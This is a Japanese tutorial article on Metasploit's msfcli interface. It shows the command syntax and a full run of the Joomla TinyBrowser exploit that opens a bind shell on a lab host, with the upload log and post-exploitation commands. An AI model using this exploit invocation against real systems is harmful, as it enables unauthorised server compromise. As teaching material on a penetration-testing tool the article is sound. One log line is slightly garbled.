RSS Feed  Twitter  
|
Articles - Security

Metasploit の基本的な使い方・コマンドラインインターフェイス編


コマンドラインインターフェイス(Msfcli)は、より素早くexploitを実行することが可能なインターフェイスである。
 コンソールで(/pentest/exploits/framework3に移動し)「./msfcli <オプション>」と入力して実行する。はじめは、「./msfcli -h」としてコマンドオプションを確認してみよう。
 実際の使い方としては、「./msfcli <exploit名> <option=値> [モード]」となる。
 たとえば、今回の例では、「./msfcli unix/webapp/joomla_tinybrowser RHOST=<ターゲットIPアドレス> PAYLOAD=generic/shell_bind_tcp E」ということになる。最後のモードにあたる「E」は「実行 (Execute)」を指定している。これだけで、exploitが実行されるわけだ。


●ヘルプコマンドでコマンドオプションを確認し、exploitを実行している例。ターゲットIPアドレス、payloadを指定し、実行を指定するだけだ。

root@H4X0r:/opt/metasploit3/msf3# ./msfcli -h Usage: ./msfcli   [mode]
====================================================

    Mode           Description
    ----           -----------
    (H)elp         You're looking at it baby!
    (S)ummary      Show information about this module
    (O)ptions      Show available options for this module
    (A)dvanced     Show available advanced options for this module
    (I)DS Evasion  Show available ids evasion options for this module
    (P)ayloads     Show available payloads for this module
    (T)argets      Show available targets for this exploit module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module

root@H4X0r:/opt/metasploit3/msf3# ./msfcli unix/webapp/joomla_tinybrowser RHOST=192.168.241.138 PAYLOAD=generic/shell_bind_tcp E [*] Please wait while we load the module tree...
[*] Started bind handler
[*] Successfully retrieved obfuscation code: 3bc6aeeecd3d028411bb8a479e93c359
[*] Successfully uploaded zywfbfrjogxmkdluiekb.ph.p
[*] Renaming file from zywfbfrjogxmkdluiekb.ph.p_ to zywfbfrjogxmkdlui②②②ekb.ph.p
[*] Renamed zywfbfrjogxmkdluiekb.ph.p to zywfbfrjogxmkdluiekb.php
[*] Calling payload: zywfbfrjogxmkdluiekb.php
[*] Command shell session 1 opened (192.168.241.132:36840 -> 192.168.241.138:4444)	
whoami www-data uname -a Linux ubuntu 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux pwd /var/www/images/stories